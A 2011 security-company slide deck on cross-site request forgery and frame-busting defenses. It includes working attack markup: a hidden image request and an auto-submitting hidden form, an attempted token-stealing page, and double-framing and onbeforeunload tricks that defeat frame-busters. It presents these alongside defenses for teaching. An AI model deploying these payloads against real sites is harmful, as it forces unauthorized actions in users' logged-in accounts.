CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011

CROSS-SITE REQUEST FORGERY
In-depth analysis 2011

Copyright 2012 © CYBER GATES
Permission is granted to copy, distribute and/or
modify this document under the terms of the GNU
Free Documentation License

Cross-Site Request Forgery

The OWASP Top 10 Web Application Security Risks
 A1: Injection
 A2: Cross-Site Scripting (XSS)
 A3: Broken Authentication and Session
Management
 A4: Insecure Direct Object References
 A5: Cross-Site Request Forgery (CSRF)
Security Risks
 A6: Security Misconfiguration
 A7: Insecure Cryptographic Storage 2010
 A8: Failure to Restrict URL Access
 A9: Insufficient Transport Layer
Protection
 A10: Unvalidated Redirects and
Forwards

Cross-Site Request Forgery  CYBER GATES  Page 2


Description
 Cross-Site Request Forgery (CSRF in short) is a kind of a
web application vulnerability which allows malicious
website to send unauthorized requests to a vulnerable
website using active session of its authorized users.

Example
 <img src=”http://twitter.com/home?status=evil.com” style=”display:none”/>



Example
<div style=“display:none”>
<iframe name=“hiddenFrame”></iframe>
<form name=“Form” action=“http://site.com/post.php”
target=“hiddenFrame”
method=“POST”>
<input type=“text” name=“message” value=“I like www.evil.com” />
<input type=“submit” />
</form>
<script>document.Form.submit();</script>
</div>



Usless defenses
 Only accept POST
This stops simple link-based attacks (IMG, frames, etc.).
But hidden POST requests can be created with frames, scripts, etc.
 Referrer checking
Some users prohibit referrers, so you can’t just require referrer
headers.
Techniques to selectively create HTTP request without referrers
exist.
 Requiring multi-step transactions
CSRF attack can perform each step in order.



Solutions
 CAPTHCA systems
This is a type of challenge-response test used in computing to
ensure that the response is not generated by a computer.
 One-time tokens
Unlike the CAPTCHA systems this is a unique number stored in
the web form field and in session to compare them after the
form submission.


Cross-Site Request Forgery &
One-time tokens

Bypassing one-time tokens
<html><head><title>BAD.COM</title>
<script language="javascript">
function submitForm(){
var token = window.frames[0].document.forms["messageForm"].elements["token"].value;
var myForm = document.myForm;
myForm.token.value = token;
myForm.submit();
}</script></head>
<body onLoad="submitForm();">
<div style="display:none">
<iframe src="http://good.com/index.php"></iframe>
<form name="myForm" target="hidden" action=http://good.com/post.php method="POST">
<input type="text" name="message" value="I like www.bad.com" />
<input type="hidden" name="token" value="" />
<input type="submit" value="Post">
</form></div></body></html>

Same origin policy
Permission denied to access property 'document'

FrameKillers

Description
 FrameKillers are small piece of javascript codes used
to protect web pages from being framed.

Example
 if (top.location != location){
top.location = self.location;
}


FrameKillers

Conditional statement
 if (top != self)
 if (top.location != self.location)
 if (top.location != location)
 if (parent.frames.length > 0)
 if (window != top)
 if (window.top !== window.self)
 if (window.self != window.top)
 if (parent && parent != window)
 if (parent && parent.frames && parent.frames.length>0)


FrameKillers

Counter-action statement
 top.location = self.location
 top.location.href = document.location.href
 top.location.replace(self.location)
 top.location.href = window.location.href
 top.location.replace(document.location)
 top.location.href = window.location.href
 top.location.href = "URL"
 document.write('')
 top.location.replace(document.location)
 top.location.replace('URL')
 top.location.replace(window.location.href)
 top.location.href = location.href
 self.parent.location = document.location
 parent.location.href = self.document.location


FrameKiller killers

FrameKiller killers
 Double framing
<iframe src="second.html"></iframe>
second.html
<iframe src="http://www.site.com"></iframe>
 Using onBeforeUnload event
<script>
window.onbeforeunload=function(){
return “do you want to leave this page?“;
}
</script>
<iframe src="http://www.site.com"></iframe>


Best Practices

FrameKiller
<style> html{ display : none; } </style>
<script>
if( self == top ) {
document.documentElement.style.display='block';
} else {
top.location = self.location;
}
</script>

Note: This protects web application even if an attacker browses the webpage
With javascript disabled option in the browser.



References
 Cross-Site Request Forgery
http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
http://projects.webappsec.org/w/page/13246919/Cross-Site-Request-Forgery
 Same Origin Policy
http://en.wikipedia.org/wiki/Same_origin_policy
 FrameKiller(Frame Busting)
http://en.wikipedia.org/wiki/Framekiller
http://seclab.stanford.edu/websec/framebusting/framebust.pdf


CYBER GATES

Contacts
 Corporate website
www.cybergates.am
 Company profile on Twitter
www.twitter.com/CyberGatesLLC
 Company fan page on Facebook
www.facebook.com/Cyber.Gates.page
 Company profile on LinkedIn
www.linkedin.com/company/CyberGates-LLC
 Company channel on Vimeo
www.vimeo.com/CyberGates
 Company channel on YouTube
www.youtube.com/TheCyberGates


„Be one step ahead in Security.“

www.cybergates.am

CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011

More Related Content

What's hot

Viewers also liked

Similar to CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011

More from Samvel Gevorgyan

Recently uploaded

CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011